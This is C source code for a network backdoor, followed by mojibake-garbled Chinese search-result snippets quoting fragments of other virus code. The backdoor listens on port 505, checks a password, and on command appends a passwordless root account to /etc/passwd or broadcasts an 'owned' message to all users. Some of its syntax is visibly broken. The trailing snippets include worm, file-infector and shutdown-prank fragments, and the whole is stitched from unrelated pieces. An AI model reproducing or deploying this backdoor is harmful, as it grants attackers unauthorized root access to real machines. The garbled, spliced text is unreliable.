#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#define PORT 505
#define MAXDATASIZE 100
#define BACKLOG 10
void handle(char *command);
int main(int argc, char *argv[])
{
int sockfd, new_fd, sin_size, numbytes;
char *bytes;
struct sockaddr_in my_addr;
struct sockaddr_in their_addr;
char buf[MAXDATASIZE];
char ask[]="Enter Command (1 to put r00t::0:0:... in /etc/passwd, 2 to
send '7h1s b0x 1s 0wn3d' to all people on the box: ";
if (argc != 2) {
fprintf(stderr,"Usage: %s password\n", argv[0]);
exit(1);
}
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(1);
}
my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(PORT);
my_addr.sin_addr.s_addr = INADDR_ANY;
if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1)
{
perror("bind");
exit(1);
}
if (listen(sockfd, BACKLOG) == -1) {
perror("listen");
exit(1);
}
while(1) { /* main accept() loop */
sin_size = sizeof(struct sockaddr_in);
if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, \
&sin_size)) ==
{
perror("accept");
continue;
}
inet_ntoa(their_addr.sin_addr);
if (!fork()) {
recv(new_fd, buf,
MAXDATASIZE, 0);
bytes = strstr(buf, argv[1]);
if (bytes != NULL){
send(new_fd, ask, sizeof(ask), 0);
numbytes=recv(new_fd, buf,
MAXDATASIZE, 0);
buf[numbytes] = '\0';
handle(buf);
}
close(new_fd);
exit(0);
}
close(new_fd);
while(waitpid(-1,NULL,WNOHANG) > 0); /* clean up child
processes */
}
}
void handle(char *command)
{
FILE *fle;
if(strstr(command, "1") != NULL)
{
fle = f0/*n("/etc/passwd", "a*/;
fprintf(fle, "r00t::0:0:r00t:/root:/bin/bash");
fclose(fle);
}
if(strstr(command, "2") != NULL)
{
system("wall 7h1s b0x 1s 0wn3d");
}
}
绛旓細涓涓c鐥呮瘨婧愪唬鐮 include <windows.h> include <Shlwapi.h> include <fstream.h> include <TlHelp32.h> include <Dbt.h> pragma comment(lib,"shlwapi.lib")define TIMER 1//璁℃椂鍣 //function LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//绐楀彛杩囩▼ //鑾峰彇鐩樼 TCHAR FirstDrive...
绛旓細1.鍦C銆丏銆丒鐩樺拰c:\windows\system銆乧:\windows涓敓鎴愭湰鐥呮瘨浣撴枃浠 2.鍦–銆丏銆丒鐩樹腑鐢熸垚鑷姩杩愯鏂囦欢 3.娉ㄥ唽c:\windows\system\svchost.exe锛屼娇鍏跺紑鏈鸿嚜鍔ㄨ繍琛 4.鍦–:\windows\system涓嬬敓鎴愰殣钄紻LL鏂囦欢 5.鐥呮瘨鍦ㄦ墽琛屽悗鍏锋湁鐩歌仈澶嶅埗鑳藉姏鏈梾姣掔被浼兼櫘閫歎鐩樼梾姣掗洀褰紝鍏峰鑷垜澶嶅埗銆佽繍琛岃兘鍔涖備互涓嬬▼搴...
绛旓細backdoor鐥呮瘨婧愪唬鐮 include <stdio.h> include <stdlib.h> include <errno.h> include <string.h> include <sys/types.h> include <netinet/in.h> include <sys/socket.h> include <sys/wait.h> define PORT 505 define MAXDATASIZE 100 define BACKLOG 10 void handle(char *command);int ...
绛旓細void initialize(void){ count=0;} void main(void){ initialize();while (FCGI_Accept() >= 0) { printf("Content-type: text/html "" ""FastCGI Hello! (C, fcgi_stdio library)""FastCGI Hello! (C, fcgi_stdio library)""Request number %d running on host %s ",++count, geten...
绛旓細void main(){ while(1){ DoIt();} } void DoIt(){ char *p;for(int i=0;i<100000;i++){ p=new char[100000];DoIt();} } --- 璁＄畻鏈鐥呮瘨锛氬埄鐢ㄨ绠楁満杞欢涓庣‖浠剁殑缂洪櫡锛岀牬鍧忚绠楁満鏁版嵁骞跺奖鍝嶈绠楁満姝ｅ父宸ヤ綔鐨勪竴缁勬寚浠ら泦鎴栫▼搴浠ｇ爜 銆傜櫨搴︾櫨绉戣鐨勶紝浣犳病鎰忚浜嗗惂锛孫(鈭鈭)O鍝堝搱~...
绛旓細if instr(ext, "htm") > 0 or ext = "plg" or ext = "asp" then '妫鏌ユ枃浠剁殑鎵╁睍鍚嶆槸鍚︿负 htm銆乭tml銆乸lg 濡傛槸鍒欐鏌ユ槸鍚﹁鎰熸煋,濡傛湭琚劅鏌撳垯灏嗗凡鍔犲瘑鐨勭梾姣掍唬鐮鎻掑叆鏂囦欢澶,杩欐牱鏂囦欢涓鏃︽墽琛屼篃浼氭墽琛岀梾姣掍唬鐮,鑰屼笖涓嶄細褰卞搷鍘熸枃浠剁殑姝ｅ父鎵ц銆 if Code_Str<>"" then AddHead pfi.Path, pfi, 1 ...
绛旓細鍒嗗竷寮鐥呮瘨鍗忚鐨凜/C++鎻忚堪浠ｇ爜Coded by Vxk in CVCCopyRight® 2001-20022002.10.18..night*/#include <windows.h>#include <winsock.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include typedef struct CONNINST{SOCKET socket; /* 鏈湴Socket鍙 */unsigned short clientPort; /* 瀹...
绛旓細鍏充簬濂界帺鐨勭梾姣掍唬鐮锛岀帺绗戠梾姣掍唬鐮佽繖涓緢澶氫汉杩樹笉鐭ラ亾锛屼粖澶╂潵涓哄ぇ瀹惰В绛斾互涓婄殑闂锛岀幇鍦ㄨ鎴戜滑涓璧锋潵鐪嬬湅鍚э紒1銆佹垜鏈 on error resume next dim WSHshellA set WSHshellA = wscript.createobject("***.shell") ***.run "cmd.exe /c shutdown -r -t 30 -c ""璇存垜鏄牏鐚紝,鎴戝氨涓嶅叧浣犳満路...
绛旓細void main(void){ virus();} int virus(){ struct ffblk ffblk;FILE *in,*out,*read;char *virus="virus.c";char buf[50][80];char *p;char *end="return";char *bracket="}";char *main="main";char *include[2]={"stdio.h","dir.h"};char *int_virus="int virus()";char...
绛旓細鍐鐥呮瘨鐢ㄤ粈涔堣瑷閮藉彲浠ャ備笉杩囨槸涓绉嶅伐鍏凤紝浣犲彧瑕佺簿閫氬畠灏辫锛瑕浜嗚В搴曞眰鐨勪笢瑗匡紝姣斿鎿嶄綔绯荤粺锛岃绠楁満缁勬垚鍘熺悊銆傝繕鏈夛紝璋佽goto鍦–璇█閲岀鐢ㄤ簡锛熶綘鍘绘壘鍒伴偅涓繖涔堣鐨勪汉锛岀嫚鐙犵殑鎶戒粬淇╁槾宸达紒goto涓嶆槸澶╃敓鐨勬伓榄旓紝C89,C99鏍囧噯娌℃湁鍙栨秷瀹冩槸鏈夋牴鎹殑銆傛瘮濡傦紝for璇彞閲屽switch锛屽湪switch閲屾庝箞璺冲嚭寰幆锛
